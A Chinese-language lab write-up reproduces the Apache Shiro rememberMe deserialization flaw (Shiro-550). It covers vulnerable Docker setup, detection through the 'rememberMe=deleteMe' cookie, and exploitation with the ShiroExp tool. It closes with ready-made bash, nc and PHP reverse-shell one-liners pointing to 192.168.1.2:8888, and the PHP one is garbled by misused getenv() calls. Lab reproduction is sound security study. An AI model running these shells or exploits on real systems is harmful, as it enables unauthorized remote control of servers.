Apache Shiro remember Me反序列化漏洞(Shiro 550)复现
什么是Shiro
Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证、授权、加密和会话管理。Shiro拥有易于理解的API,您可以快速、轻松地获得任何应用程序——从最小的移动应用程序到最大的网络和企业应用程序。
-官方介绍
简单来说这个框架是一个java框架可以进行身份验证 、授权、加密、会话管理。
受其影响的版本:小于等于1.24
判断依据:查看返回包中是否存在:rememberMe=deleteMe
原理说明:在shiro小于1.2.4 版本中,加密用户信息通过序列化之后存储在Cookie中rememberMe字段,攻击者通过Shiro 默认的AES加密算法密钥来构造恶意的Cookie rememberMe 在发往服务器中会经过以下阶段:
Base64解码、AES解密、readObject()反序列化
导致会触发Java原生反序列化漏洞。
漏洞复现
本次环境通过docker拉取
拉取命令
docker pull medicean/vulapps:s_shiro_1
启动
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
8081:8080:用8081来映射8080端口。
然后访问 IP:8081即可进入到漏洞环境中。
漏洞检测阶段
抓取登录包,在返回包的字段中发现了如下字段,判断漏洞存在。
rememberMe=deleteMe
也可以用一些检测工具来进行检测,例如yakit中就自带了shiro漏洞的检测插件。
利用阶段
ShiroExp工具
首先进行检测密钥,因为利用的话需要有密钥
然后进行执行命令即可。
反弹shell相关命令
里面的ip和端口根据自己的情况来替换即可。
bash
bash -c 'exec bash -i &>/dev/tcp/192.168.1.2/8888 <&1'
nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 8888 >/tmp/f
PHP
php -r '$sock=fsockopen(getenv("192.168.1.2"),getenv("8888"));exec("/bin/sh -i <&3 >&3 2>&3");'